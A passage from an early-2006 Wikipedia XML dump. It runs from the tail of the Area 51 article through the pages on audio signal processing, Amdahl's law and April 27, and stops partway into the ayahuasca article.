The base is featured in episodes of the television series ''[[The Simpsons]] (area 51A)'', ''[[Futurama (TV series)|Futurama]]'', ''[[Family Guy]]'', ''[[American Dad]]'', ''[[The X-Files]]'', ''[[Taken]]'', ''[[Seven Days]]'' (Never Never Land), ''[[Star Trek: Deep Space Nine]]'', ''[[Kim Possible]]'', ''[[Megas XLR]]'' (as Area 50), and ''[[Stargate SG-1]]'', the movies ''[[Groom Lake (film)|Groom Lake]],'' ''[[Looney Tunes: Back in Action]]'' (Area 52) and ''[[Independence Day (movie)|Independence Day]]'', and in the computer and video games ''[[Area 51 (video game)|Area 51]]'', ''[[Area 51 (first-person shooter)|Area 51]]'', ''[[Deus Ex]]'', ''[[Duke Nukem 3D]]'', ''[[Tomb Raider|Tomb Raider III]]'', ''[[Perfect Dark]]'', ''[[The Pandora Directive]]'', ''[[Twisted Metal 3]]'', ''[[Grand Theft Auto: San Andreas]]'' (Area 69), ''[[Destroy All Humans!]]'' (Area 42), ''[[SimCity 4]]'' (Area 5.1). ''[[Half-Life (computer game)|Half-Life]]'', which is set mostly in and around the fictional [[Black Mesa Research Facility]], is generally considered to be modeled after Area 51. It is also featured in several [[novel]]s by [[Dale Brown]] and [[Robert Doherty]]'s ([[Bob Mayer]]) [[Area 51 novels|Area 51 series]], which take place after Area 51 scientists make contact with extraterrestrials.  The [[alternate history]] roleplaying game [[Deadlands]] also features an 1880s version of the location called &quot;Fort 51&quot;.

Area 51 has been used in several role-playing games as a plot element. In the game ''[[Conspiracy X]]'', it is a safe facility and base of operations for the players' counter-extraterrestrial operations. On the flip side, in the ''[[Call of Cthulhu (role playing game)|Call of Cthulhu]]'' modern day conspiracy supplement ''[[Delta Green]]'', the base is the site of a foolish conspiracy's laboratory facilities for studying and intercepting otherworldly beings for study.  

Area 51 is the name given to a variety of unrelated products and companies, including a range of computers built by [[Alienware]], the [http://area51.phpbb.com/ development area] for the [[phpBB]] forum software, one of the areas of the [[Geocities]] web hosting service, an [[Aprilia]] [[motor scooter]], and numerous science-fiction bookstores and bulletin boards.

In 1994, Version 2.0 of the [[Read-only memory|ROM]] for the [[Apple Newton]] [[personal digital assistant]] included the latitude and longitude co-ordinates of Area 51 in the Time Zones application as an &quot;[[Easter egg (virtual)|Easter egg]]&quot;. This feature was removed (supposedly at the request of the [[Central Intelligence Agency|CIA]]) by applying a software patch, but it remained possible to bypass the patch fairly easily. [http://www.cupertino.de/pages/archiv/EasterEggs/Newton.html]

The world's largest [[model railway]] in [[Hamburg]], [[Germany]] features a fictional Area 51 model in its [[United States|America]] section (with aliens playing [[basketball]] with base personnel).

The tiny town of [[Rachel, Nevada]] (the nearest settlement to the base) enjoys minor celebrity status as being &quot;the official home of Area 51&quot;.  Located three hours from Las Vegas by car, Rachel receives a modest number of visitors year-round, and several small businesses offer food and lodging to visitors, together with aerospace and &quot;alien&quot; themed merchandising.  The visitor numbers are swelled yearly with aviation enthusiasts hoping to catch a glimpse of the [[RED FLAG exercise]]s.  A small museum sells maps, photographs, badges, and other Area 51 material, and a local inn, aptly named &quot;The Little A'le'Inn&quot; proudly displays a [[time capsule]] received from the production crew of ''[[Independence Day (movie)|Independence Day]]''.

The [[minor league baseball]] team in [[Las Vegas, Nevada]] is called the [[Las Vegas 51s]].  Their logo includes the image of a &quot;[[Greys|Grey]]&quot; [[extraterrestrial]].

Also, the popular classic Area 51 shooter is the leader in arcade game revenue.
[[Image:Area51arcade.jpg|thumb|250px|''Area 51'' arcade game]]

== See also ==
*[[List of parodies or puns on Area 51]]

== External links ==
{{commons|Category:Area 51}}

*[http://ufo.whipnet.org/area.51/ Area 51 - History, Structures, and Employees]
*[http://fas.org/irp/overhead/groom.htm Federation of American Scientists Area 51 resources]
*[http://www.nellis.af.mil/ Nellis AFB]
*[http://www.topozone.com/map.asp?lat=37.24398783283005&amp;lon=-115.73734486636629&amp;s=500&amp;size=l&amp;symshow=n&amp;u=0&amp;layer=DRG250 Topographic Map of the Emigrant Valley / Groom area]
*[http://www.serve.com/mahood/nellis/groom/groomtl.htm Area 51 timeline]
*[http://www.lasvegasnow.com/area51/Area51-072503-450.jpg Satellite photograph of &quot;Area 51&quot;]
*[http://www.dreamlandresort.com/index_en.html Local Website about activities on and around Area 51]
*[http://us.imdb.com/title/tt0080836/ IMDB Reference: ''Hangar 18'', 1980]
*[http://local.google.com/local?f=q&amp;hl=en&amp;q=+37%C2%B014%2737.59%22N++115%C2%B048%2757.95%22W&amp;ll=37.232789,-115.80431&amp;spn=0.043531,0.10849&amp;t=k Google Maps satellite image] - Recently updated with high detail images (Feb 5, 2006).
*[http://gmaps.tommangan.us/groom_lake.html Aerial Photos] from different decades, overlaid with Google Maps interface
*[http://www.sr-71.org/groomlake/2004/index.php?file=egg-terminal-2004-01.jpg Photographs of McCarran EG&amp;G terminal and JANET aircraft]
*[http://www.abovetopsecret.com/forum/thread61315/pg1 ''AboveTopSecret'' on the theory that Dugway is new &quot;new area51&quot;] &lt;!-- note that this looks like just a forum, but the header article was written by ATS' primary author; he may or may not be a wacko, but he's a fairly notable wacko --&gt;
*[http://rachel.dreamlandresort.com/ethighway.html Photographs of the &quot;Extraterrestrial Highway&quot;]
*[http://www.alienhub.com/media/gallery.asp?categoryid=10 Photographs of at Area 51]

==References==
* Rich, Ben; Janos, Leo. (1996) ''Skunk Works''.  Little, Brown &amp; Company, ISBN 0316743003
* Darlington, David. (1998) ''Dreamland Chronicles''. Henry Holt &amp; Company, ISBN 0805060405
* [http://www.reviewjournal.com/webextras/area51/ Area 51 related article archive] from the pages of the ''[[Las Vegas Review-Journal]]''
* [http://www.ufomind.com/area51/articles/1996/60min_960317.htm Transcript] from [[CBS]] ''[[60 Minutes]]'' segment about the environmental lawsuit
* [http://www.thespacereview.com/article/531/1 &quot;Astronauts and Area 51: the Skylab Incident&quot;] article in ''The Space Review'' 
* [http://www.thespacereview.com/archive/531.pdf 1974 Memo to DCI Colby] ([[PDF]])

[[Category:Lincoln County, Nevada]][[Category:Conspiracy_theories]]
[[Category:UFOs]]
[[Category:United States Air Force facilities]]

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[[es:Área 51]]
[[fr:Zone 51]]
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[[he:אזור 51]]
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[[zh:51区]]</text>
    </revision>
  </page>
  <page>
    <title>Audio signal processing</title>
    <id>2322</id>
    <revision>
      <id>37014502</id>
      <timestamp>2006-01-27T23:55:03Z</timestamp>
      <contributor>
        <username>Alvestrand</username>
        <id>50958</id>
      </contributor>
      <comment>disambig analysis</comment>
      <text xml:space="preserve">'''Audio signal processing''', sometimes referred to as '''audio processing''', is the processing of a [[representation]] of [[sound|auditory]] [[Signal (information theory)|signals]], or [[sound]]. The representation can be [[digital]] or [[analog signal|analog]]. An analog representation is usually electrical; a [[voltage]] level represents the [[air pressure]] [[waveform]] of the sound. Similarly, a digital representation expresses the pressure wave-form as a sequence of symbols, usually [[Binary numeral system|binary]] numbers.

The focus in audio signal processing is most typically a [[mathematical analysis]] of which parts of the signal are audible. For example, a signal can be modified for different purposes such that the modification is controlled in the auditory domain. Which parts of the signal are heard and which are not, is not decided merely by [[physiology]] of the [[human]] [[hearing (sense)|hearing]] system, but very much by [[psychological]] properties. These properties are analysed within the field of [[psychoacoustics]].

Processing methods and application areas include [[audio storage|storage]], [[audio level compression|level compression]], [[audio data compression|data compression]], [[transmission (telecom)|transmission]], enhancement (e.g., [[equalization]], [[audio filter|filtering]], [[noise cancellation]], [[echo]] or [[reverb]] removal or addition, etc.), [[source separation]], [[sound effect]]s and [[computer music]].

==Glossary==

[[Category:Signal processing]]

[[es:Procesamiento digital de sonido]]
[[th:การประมวลผลสัญญาณเสียง]]</text>
    </revision>
  </page>
  <page>
    <title>Amdahl's law</title>
    <id>2323</id>
    <revision>
      <id>35717106</id>
      <timestamp>2006-01-18T20:15:10Z</timestamp>
      <contributor>
        <ip>68.248.162.88</ip>
      </contributor>
      <text xml:space="preserve">'''Amdahl's law''', named after [[computer]] architect [[Gene Amdahl]], is used to find the maximum expected improvement to
an overall system when only part of the system is improved. 

__TOC__

Amdahl's law can be interpreted more technically, but in simplest terms it means that it is the [[algorithm]] that decides the speedup not the number of processors. You eventually reach a place where you can not parallelise the algorithm any more.

Amdahl's law is a demonstration of the [[Diminishing returns|law of diminishing returns]]: while one could speed up part of a computer a hundred-fold or more, if the improvement only affects 12% of the overall task, the best the [[speedup]] could possibly be is &lt;math&gt;\frac{1}{1 - 0.12} = 1.136&lt;/math&gt; times faster.

More technically, the law is concerned with the [[speedup]] achievable from an improvement to a computation that affects a proportion ''P'' of that computation where the improvement has a speedup of ''S''. (For example, if an improvement can speedup 30% of the computation, ''P'' will be 0.3; if the improvement makes the portion affected twice as fast, ''S'' will be 2.) Amdahl's law states that the overall speedup of applying the improvement will be

:&lt;math&gt;\frac{1}{(1 - P) + \frac{P}{S}}&lt;/math&gt;.

To see how this formula was derived, assume that the running time of the old computation was 1, for some unit of time. The running time of the new computation will be the length of time the unimproved fraction takes (which is 1 &amp;minus; ''P'') plus the length of time the improved fraction takes. The length of time for the improved part of the computation is the length of the improved part's former running time divided by the speedup, making the length of time of the improved part ''P''/''S''. The final speedup is computed by dividing the old running time by the new running time, which is what the above formula does.

Here's another example. We are given a task which is split up into four parts: P1 = .11 or 11%, P2 = .18 or 18%, P3 = .23 or 23%, P4 = .48 or 48%, which add up to 100%. Then we say P1 is not sped up, so S1 = 1 or 100%, P2 is sped up 5x, so S2 = 5 or 500%, P3 is sped up 20x, so S3 = 20 or 2000%, and P4 is sped up 1.6x, so S4 = 1.6 or 160%. By using the formula &lt;math&gt;\frac{P1}{S1} + \frac{P2}{S2} + \frac{P3}{S3} + \frac{P4}{S4}&lt;/math&gt;, we find the running time is &lt;math&gt;{\frac{.11}{1} + \frac{.18}{5} + \frac{.23}{20} + \frac{.48}{1.6}} = .4575&lt;/math&gt; or a little less than 1/2 the original running time which we know is 1. Therefore the overall speed boost is &lt;math&gt;\frac{1}{.4575} = 2.186&lt;/math&gt; or a little more than double the original speed using the formula &lt;math&gt;\frac{1}{\frac{P1}{S1} + \frac{P2}{S2} + \frac{P3}{S3} + \frac{P4}{S4}}&lt;/math&gt;. Notice how the 20x and 5x speedup don't have much effect on the overall speed boost and running time when over half of the task is only sped up 1x (i.e. not sped up) or 1.6x.



== Parallelization ==

In the special case of parallelization, Amdahl's law states that if ''F'' is the fraction of a calculation that is sequential (i.e. cannot benefit from parallelisation), and (1 &amp;minus; ''F'') is the fraction that can be parallelised, then the maximum speedup that can be achieved by using ''N'' processors is

:&lt;math&gt;\frac{1}{F + (1-F)/N}&lt;/math&gt;.

In the limit, as ''N'' tends to [[infinity]], the maximum speedup tends to 1/''F''. In practice, price/performance ratio falls rapidly as ''N'' is increased once (1 &amp;minus; ''F'')/''N'' is small compared to ''F''.

As an example, if ''F'' is only 10%, the problem can be sped up by only a maximum of a factor of 10, no matter how large the value of ''N'' used. For this reason, [[parallel computing]] is only useful for either small numbers of [[central processing unit|processor]]s, or problems with very low values of ''F'': so-called [[embarrassingly parallel]] problems. A great part of the craft of [[parallel programming]] consists of attempting to reduce ''F'' to the smallest possible value.

==Amdahl's Rule Of Thumb==

'''Amdahl's Rule Of Thumb''' is that 1 byte of [[memory]] and 1 byte per second of [[Input/output|I/O]] are required for each [[instruction (computer science)|instruction]] per second supported by a [[computer]].

==References==
* Gene Amdahl, &quot;Validity of the Single Processor Approach to Achieving Large-Scale Computing Capabilities&quot;, AFIPS Conference Proceedings, (30), pp. 483-485, 1967.

==See also== 
*[[Observations named after people]]
* [[Amdahl]] Corporation
* [[Ninety-ninety rule]]

==External links==
* [http://www.scl.ameslab.gov/Publications/Gus/AmdahlsLaw/Amdahls.html Reevaluating Amdahl's Law]
* [http://joda.cis.temple.edu/~shi/docs/amdahl/amdahl.html Reevaluating Amdahl's Law and Gustafson's Law]

[[Category:Computer architecture]]
[[Category:Electronic design]]
[[Category:Rules of thumb]]
[[Category:Eponymous laws]]

[[de:Amdahlsches Gesetz]]
[[fr:Loi d'Amdahl]]
[[ko:%EC%95%94%EB%8B%AC%EC%9D%98_%EB%B2%95%EC%B9%99]]
[[pl:Prawo Amdahla]]
[[pt:Lei de Amdahl]]
[[zh:Amdahl定理]]</text>
    </revision>
  </page>
  <page>
    <title>All Saints Day</title>
    <id>2324</id>
    <revision>
      <id>15900752</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[All Saints]]
</text>
    </revision>
  </page>
  <page>
    <title>April 27</title>
    <id>2326</id>
    <revision>
      <id>41947375</id>
      <timestamp>2006-03-02T20:39:01Z</timestamp>
      <contributor>
        <ip>68.193.173.233</ip>
      </contributor>
      <comment>/* Events */</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=27}}
|}
'''[[April 27]]''' is the 117th day of the year (118th in [[leap year]]s) in the [[Gregorian Calendar]], with 248 days remaining.
==Events==
*[[1124]] - [[David I of Scotland|David I]] becomes King of [[Scotland]]...... 
*[[1296]] - [[Battle of Dunbar (1296)|Battle of Dunbar]]: The [[Scotland|Scots]] are defeated by [[Edward I of England]].  
*[[1509]] - [[Pope Julius II]] places the [[Italy|Italian]] state of [[Republic of Venice|Venice]] under [[interdict]]. 
*[[1521]] - [[Battle of Mactan]]: Explorer [[Ferdinand Magellan]] is killed by natives in the [[Philippines]] led by chief [[Lapu-Lapu]].  
*[[1565]] - [[Cebu City|Cebu]] is established becoming the first [[Spain|Spanish]] settlement in the [[Philippines]].  
*[[1650]] - The [[Battle of Carbisdale]]: A [[Cavaliers|Royalist]] army invades mainland [[Scotland]] from the [[Orkney Islands]] but is defeated by a [[Covenanter]] army.
*[[1667]] - The blind, impoverished [[John Milton]] sells the copyright of ''[[Paradise Lost]]'' for [[Pound sterling|£]]10. 
*[[1773]] - The [[British Parliament]] passes the [[Tea Act]], designed to save the [[British East India Company]] by granting it a monopoly on the [[North America]]n [[tea]] trade. 
*[[1805]] - [[First Barbary War]]: [[United States Marines]] and [[Berber]]s attack the [[Tripoli|Tripolitan]] city of [[Derna]] (The &quot;shores of Tripoli&quot; part of the [[Marines' hymn]]). 
*[[1813]] - [[War of 1812]]: [[United States]] troops capture the capital of Ontario, York (present day [[Toronto, Ontario]]).
*[[1840]] - Foundation stone for new [[Palace of Westminster]], [[London]], laid by wife of Sir [[Charles Barry]].
*[[1861]] - President [[Abraham Lincoln]] suspends the [[writ of habeas corpus]].  
*[[1865]] - The [[steamboat]] ''[[Sultana (steamboat)|Sultana]]'', carrying 2,300 passengers, explodes and sinks in the [[Mississippi River]], killing 1,700, most of whom were [[Union (American Civil War)|Union]] survivors of the [[Andersonville Prison]]. 
*[[1897]] - [[Grant's Tomb]] is dedicated.
*[[1904]] - The [[Australian Labor Party]] becomes the first such party to gain national government, under [[Chris Watson]].
*[[1906]] - [[Salem, Ohio]] celebrates its Centennial.[http://www.salemohio.com]
*[[1908]] - The [[1908 Summer Olympics]] open in [[London]]. 
*[[1909]] - [[Sultan]] of [[Turkey]] [[Abdul Hamid II]] is overthrown, and is succeeded by his brother, [[Murat V]]. 
*[[1911]] - Following the resignation and death of [[William P. Frye]], a [[Presidents pro tempore of the United States Senate, 1911-1913|compromise is reached to rotate]] the office of [[President pro tempore of the United States Senate]].
*[[1914]] - [[Honduras]] becomes a signatory to the [[Buenos Aires Convention|Buenos Aires]] [[copyright]] [[treaty]].
*[[1936]] - The [[United Auto Workers]] (UAW) gains autonomy from the [[American Federation of Labor]].
*[[1941]] - [[World War II]]: [[Germany|German]] troops enter [[Athens]]. 
*[[1945]] - [[World War II]]: Last German troops are expelled from [[Lapland War|Finnish Lapland]] (the last day of World War II going on in [[Finland]]). The day is the national war veteran day in Finland.
*1945 - The [[Völkischer Beobachter]], the newspaper of the [[Nazi Party]], ceases publication.
*[[1947]] - [[Babe Ruth]] Day is celebrated at [[Yankee Stadium]].
*[[1950]] - [[Apartheid]]: In [[South Africa]], the [[Group Areas Act]] is passed formally segregating races.
*[[1960]] - [[Togo]] gains independence from [[France|French]]-administered UN trusteeship. 
*[[1961]] - [[Sierra Leone]] is granted its [[independence]] from the [[United Kingdom]], with [[Milton Margai]] as the first [[Heads of Government of Sierra Leone|Prime Minister]].  
*[[1964]] - &quot;[[Love Me Do]]&quot; by the [[Beatles]] was #1 for one week in the US  
*[[1972]] - [[Constructive Vote of No Confidence]] against [[Chancellor of Germany|German Chancellor]] [[Willy Brandt]] fails under obscure circumstances.
*[[1981]] - [[Xerox PARC]] introduces the [[computer mouse]]. 
*[[1986]] - [[Captain Midnight]] (John R. MacDougall) hijacks [[Home Box Office|HBO]]'s [[satellite]] and transmits his own message to HBO viewers.  
*[[1992]] - The [[Federal Republic of Yugoslavia]] is proclaimed, comprising of [[Serbia]] and [[Montenegro]].
*[[1994]] - [[South African general election, 1994]]: The first democratic [[general election]] in [[South Africa]], in which black citizens vote.
*[[1997]] - [[Andrew Cunanan]] murders [[Jeffrey Trail]], beginning a murder spree that will last until [[July]] and terminate with the murder of [[fashion designer]] [[Gianni Versace]].
*[[2005]] - The Superjumbo jet aircraft [[Airbus 380]] makes its first flight from [[Toulouse]], [[France]].

==Births==
*[[1623]] - [[Johann Adam Reinken]], German organist (d. [[1722]])
*[[1701]] - King [[Charles Emmanuel III of Sardinia]] (d. [[1773]])
*[[1718]] - [[Thomas Lewis (Virginia)|Thomas Lewis]], Irish-born Virginia settler (d. [[1790]])
*[[1737]] - [[Edward Gibbon]], English historian (d. [[1794]])
*[[1759]] - [[Mary Wollstonecraft Shelley]], English activist and author (d. [[1797]])
*[[1791]] - [[Samuel F. B. Morse]], American inventor (d. [[1872]])
*[[1812]] - [[Friedrich von Flotow]], German composer (d. [[1883]])
*[[1820]] - [[Herbert Spencer]], English philosopher (d. [[1903]])
*[[1822]] - [[Ulysses S. Grant]], 18th [[President of the United States]] (d. [[1885]])
*[[1840]] - [[Edward Whymper]], English mountain climber (d. [[1911]])
*[[1878]] - [[Frank Alvin Gotch]], American professional wrestler  (d. [[1917]])
*[[1888]] - [[Florence La Badie]], Canadian actress  (d. [[1917]])
*[[1891]] - [[Sergei Prokofiev]], Russian composer (d. [[1953]])
*[[1894]] - [[Nicolas Slonimsky]], Russian-born musicologist and composer (d.[[1995]])
*[[1896]] - [[Rogers Hornsby]], baseball player (d. [[1963]])
*[[1899]] - [[Walter Lantz]], American cartoonist (d. [[1994]])
*[[1904]] - [[Cecil Day-Lewis]], Irish poet and writer (d. [[1972]])
*[[1913]] - [[Philip Hauge Abelson]], American physicist, [[Nobel Prize]] laureate (d. [[2004]])
*[[1916]] - [[Enos Slaughter]], baseball player (d. [[2002]])
*[[1920]] - [[Guido Cantelli]], Italian conductor (d. [[1956]])
*1920 - [[Edwin Morgan]], Scottish poet
*[[1922]] - [[Jack Klugman]], American actor
*[[1927]] - [[Coretta Scott King]], American civil rights activist and wife of [[Martin Luther King, Jr.]] (d. [[2006]])
*[[1931]] - [[Igor Oistrakh]], Ukrainian violinist
*[[1932]] - [[Anouk Aimée]], French actress
*1932 - [[Casey Kasem]], American disc jockey
*1932 - [[Gian-Carlo Rota]], Italian-born mathematician and philosopher (d. [[1999]])
*[[1937]] - [[Sandy Dennis]], American actress (d. [[1992]])
*1937 - [[Robin Eames]], Northern Irish clergyman
*[[1938]] - [[Earl Anthony]], American bowler (d. [[2001]])
*[[1939]] - [[Judy Carne]], British actress and comedienne
*[[1941]] - [[Lee Roy Jordan]], American football player
*[[1942]] - [[Jim Keltner]], American drummer
*[[1944]] - [[Cuba Gooding, Sr.]], American musician ([[The Main Ingredient]])
*[[1945]] - [[August Wilson]], American playwright (d. [[2005]])
*[[1947]] - [[Ann Peebles]], American singer
*[[1948]] - [[Kate Pierson]], American singer ([[The B-52's]])
*[[1951]] - [[Ace Frehley]], American musician ([[KISS (band)|KISS]])
*[[1952]] - [[George Gervin]], American basketball player
*[[1959]] - [[Sheena Easton]], Scottish singer
*[[1963]] - [[Cali Timmins]], Canadian actress
*[[1967]] - [[Prince Willem-Alexander of the Netherlands]]
*[[1969]] - [[Darcey Bussell]], British ballerina
*1969 - [[Mica Paris]], British singer and presenter
*[[1970]] - [[Kylie Travis]], English actress and model
*[[1976]] - [[Isobel Campbell]], Scottish singer, cellist and composer
*1976 - [[Walter Pandiani]], Uruguayan footballer
*[[1984]] - [[Patrick Stump]], American musician ([[Fall Out Boy]])
*[[1987]] - [[William Moseley (actor)|William Moseley]], British actor
&lt;!-- Please do not add your own birthday to this list. Thank you. --&gt;

==Deaths==
*[[630]] - King [[Ardashir III of Persia]]
*[[1404]] - [[Philip II, Duke of Burgundy]] (b. [[1342]])
*[[1521]] - [[Ferdinand Magellan]], Portuguese explorer
*[[1530]] - [[Jacopo Sannazaro]], Italian poet (b. [[1458]])
*[[1599]] - [[Maeda Toshiie]], Japanese general (b. [[1538]])
*[[1605]] - [[Pope Leo XI]] (b. [[1535]])
*[[1613]] - [[Robert Abercromby]], Scottish Jesuit (b. [[1532]])
*[[1625]] - [[Mori Terumoto]], Japanese warrior (b. [[1553]])
*[[1656]] - [[Jan van Goyen]], Dutch painter (b. [[1596]])
*[[1694]] - [[John George IV, Elector of Saxony]] (b. [[1668]])
*[[1695]] - [[John Trenchard (Secretary of State)|John Trenchard]], English statesman (b. [[1640]])
*[[1702]] - [[Jean Bart]], French admiral (b. [[1651]])
*[[1782]] - [[William Talbot, 1st Earl Talbot]], English politician (b. [[1710]])
*[[1813]] - [[Zebulon Pike]], American frontiersman and explorer (b. [[1779]])
*[[1882]] - [[Ralph Waldo Emerson]], American essayist (b. [[1803]])
*[[1915]] - [[Alexander Scriabin]], Russian composer (b. [[1872]])
*[[1921]] - [[Arthur Mold]], English cricketer (b. [[1863]])
*[[1932]] - [[Hart Crane]], American writer (suicide) (b. [[1899]])
*[[1936]] - [[Karl Pearson]], English statistician (b. [[1857]])
*[[1952]] - [[Guido Castelnuovo]], Italian mathematician (b. [[1865]])
*[[1965]] - [[Edward R. Murrow]], American journalist (b. [[1908]])
*[[1970]] - [[Arthur Shields]], Irish actor (b. [[1896]])
*[[1972]] - [[Kwame Nkrumah]], leader of Ghana (b. [[1909]])
*[[1977]] - [[Stanley Adams (actor)|Stanley Adams]], American actor (b. [[1915]])
*[[1992]] - [[Olivier Messiaen]], French composer (b. [[1908]])
*[[1995]] - [[Willem Frederik Hermans]], Dutch writer (b. [[1921]])
*[[1996]] - [[William Colby]], American director of the Central Intelligence Agency (b. [[1920]])
*[[1998]] - [[Carlos Castaneda]], Peruvian-born writer (b. [[1925]])
*[[1999]] - [[Al Hirt]], American trumpeter (b. [[1922]])
*[[2000]] - [[Vicki Sue Robinson]], American singer (b. [[1954]])
*[[2002]] - [[George Alec Effinger]], American author (b. [[1947]])
*2002 - [[Ruth Handler]], American toy manufacturer (b. [[1916]])
*2002 - [[Hans Heinrich Thyssen-Bornemisza]], Swiss industrialist and art collector (b. [[1921]])
&lt;!-- Please do not add your own death to this list. Thank you. --&gt;

==Holidays and observances==
*[[Slovenia]]: Day of Uprising Against Occupation
*[[South Africa]]: [[Freedom Day (South Africa)|Freedom day]]
*[[Catalonia]]: [[Montserrat's Day]] (see [[Montserrat (mountain)|Montserrat]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/27 BBC: On This Day]

----

[[April 26]] - [[April 28]] - [[March 27]] - [[May 27]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[ceb:Abril 27]]
[[nap:27 'e abbrile]]
[[war:Abril 27]]
[[pam:Abril 27]]

[[af:27 April]]
[[ar:27 أبريل]]
[[an:27 d'abril]]
[[ast:27 d'abril]]
[[bg:27 април]]
[[be:27 красавіка]]
[[bs:27. april]]
[[ca:27 d'abril]]
[[cv:Ака, 27]]
[[co:27 d'aprile]]
[[cs:27. duben]]
[[cy:27 Ebrill]]
[[da:27. april]]
[[de:27. April]]
[[et:27. aprill]]
[[el:27 Απριλίου]]
[[es:27 de abril]]
[[eo:27-a de aprilo]]
[[eu:Apirilaren 27]]
[[fo:27. apríl]]
[[fr:27 avril]]
[[fy:27 april]]
[[ga:27 Aibreán]]
[[gl:27 de abril]]
[[ko:4월 27일]]
[[hr:27. travnja]]
[[io:27 di aprilo]]
[[id:27 April]]
[[ia:27 de april]]
[[ie:27 april]]
[[is:27. apríl]]
[[it:27 aprile]]
[[he:27 באפריל]]
[[jv:27 April]]
[[ka:27 აპრილი]]
[[csb:27 łżëkwiôta]]
[[ku:27'ê avrêlê]]
[[lt:Balandžio 27]]
[[lb:27. Abrëll]]
[[li:27 april]]
[[hu:Április 27]]
[[mk:27 април]]
[[ms:27 April]]
[[nl:27 april]]
[[ja:4月27日]]
[[no:27. april]]
[[nn:27. april]]
[[oc:27 d'abril]]
[[pl:27 kwietnia]]
[[pt:27 de Abril]]
[[ro:27 aprilie]]
[[ru:27 апреля]]
[[sco:27 Aprile]]
[[sq:27 Prill]]
[[scn:27 di aprili]]
[[simple:April 27]]
[[sk:27. apríl]]
[[sl:27. april]]
[[sr:27. април]]
[[fi:27. huhtikuuta]]
[[sv:27 april]]
[[tl:Abril 27]]
[[tt:27. Äpril]]
[[te:ఏప్రిల్ 27]]
[[th:27 เมษายน]]
[[vi:27 tháng 4]]
[[tr:27 Nisan]]
[[uk:27 квітня]]
[[ur:27 اپریل]]
[[wa:27 d' avri]]
[[zh:4月27日]]</text>
    </revision>
  </page>
  <page>
    <title>Ayahuasca</title>
    <id>2328</id>
    <revision>
      <id>41850466</id>
      <timestamp>2006-03-02T03:33:58Z</timestamp>
      <contributor>
        <ip>67.191.194.83</ip>
      </contributor>
      <text xml:space="preserve">:''This entry focuses on the Ayahuasca brew; for information on the vine of the same name, see [[Banisteriopsis caapi]].''

The widely used [[Quechua language|Quechua]] name '''''ayahuasca''''' has two highly interrelated yet distinct meanings and referents: 1) an [[Amazon Basin|Amazonian]] giant vine native to the [[rainforest]] containing various [[harmala]] [[alkaloid]]s, generally ''[[Banisteriopsis caapi]]'', and, by extension, 2) [[pharmacology|pharmacologically]] complex infusions prepared from it for [[shamanism|shaman]]ic, [[folk medicine|folk-medicinal]], and [[religion|religious]] purposes. Sections of vine are boiled alone or with leaves from any of a large number of other plants, including ''[[Psychotria viridis]]'' (''chakruna'' in Quechua) or ''[[Diplopterys cabrerana]]'', yielding a brew containing the powerful [[entheogen|entheogenic]] alkaloid [[N,N-dimethyltryptamine]] (DMT), a [[psychedelic drug|hallucinogen]] which is active orally only when combined with an [[monoamine oxidase inhibitor|MAOI]].  Western brews often substitute plant sources such as [[harmal|Syrian Rue]] or other harmala containing plants in lieu of the ''Banisteriopsis caapi'' vine. [[Image:aya-preparation.jpg|thumb|300px|right|Ayahuasca being prepared in the [[Napo Province|Napo]] region of [[Ecuador]].]]

Often brews are made with no DMT-containing plants; sometimes they are made with plants such as ''Justicia pectoralis'', [[Brugmansia]], or various cacti; and often they are made with no plants other than the ayahuasca vine itself. The potency of this brew varies radically from one batch to the next, both in strength and psychoactive effect, based mainly on the skill of the [[shaman]] producing it, as well as other admixtures sometimes added. 

==Names==
* &quot;caapi&quot;, &quot;daime&quot;, &quot;hoasca&quot; in [[Brazil]]
* &quot;yagé&quot; or &quot;yajé&quot; in [[Colombia]]; popularized in English by the [[beatnik]] writers [[William S. Burroughs]] and [[Allen Ginsberg]]
* &quot;ayahuasca&quot; or &quot;ayawaska&quot; in [[Ecuador]], [[Bolivia]] and [[Peru]], also to a lesser extent in Brazil (&quot;vine of the dead&quot; or &quot;vine of souls&quot;: in Quechua, ''aya'' means &quot;spirit,&quot; &quot;ancestor,&quot; or &quot;dead person,&quot; while ''waska'' means &quot;vine&quot; or &quot;rope&quot;). The name is properly that of the plant ''[[Banisteriopsis caapi]]'', one of the primary sources of beta-carbolines for the brew.

It should be noted that the spelling ''ayahuasca'' is the hispanicized version of the name; many Quechua or [[Aymara]] speakers would prefer the spelling ''ayawaska''.

==Usage==
Ayahuasca is used in large part as a religious sacrament, no matter the culture it is tied with. This means that those who use ayahuasca in non-traditional areas often align themselves with the traditions of the visionary shamans. This includes citizens of modern Western countries, who put their faith above the restricting laws of their governments. 

However, while this is the main use of ayawaska known by non-native users, it is far from the only use of these brews. Traditional usage revolves around the medicinal properties of ayahuasca, and its purgative properties are highly important (many people refer to it as ''la Purga'', &quot;the purge&quot;) as the intense vomiting it produces can clear the body of dangerous worms and other [[parasite]]s common in the rainforest.

[[Image:aya-cooking.jpg|thumb|300px|left|Ayahuasca cooking in the [[Napo Province|Napo]] region of [[Ecuador]].]]

Dietary taboos are almost always associated with the use of Ayahuasca; in the rainforest, these tend towards the purification of one's self- abstaining from spicy and heavily spiced foods, fat, salt, and sex before, after, or both before and after a ceremony.  In western usage, a diet is usually followed that avoids [[list of foods containing tyramine|foods containing tyramine]], as the interaction of [[tyramine]] and an maoi can lead to a [[hypertensive crisis]]; most tyramine comes from the aging of food, and is therefore not usually a problem in South American traditional culture.  While the Western diet is designed to avoid physical complications from the ingestion of maois, the traditional diet is largely spiritual in nature; many Western users opt to follow the traditional diet as well around ceremonies.  

===Traditional and Western===
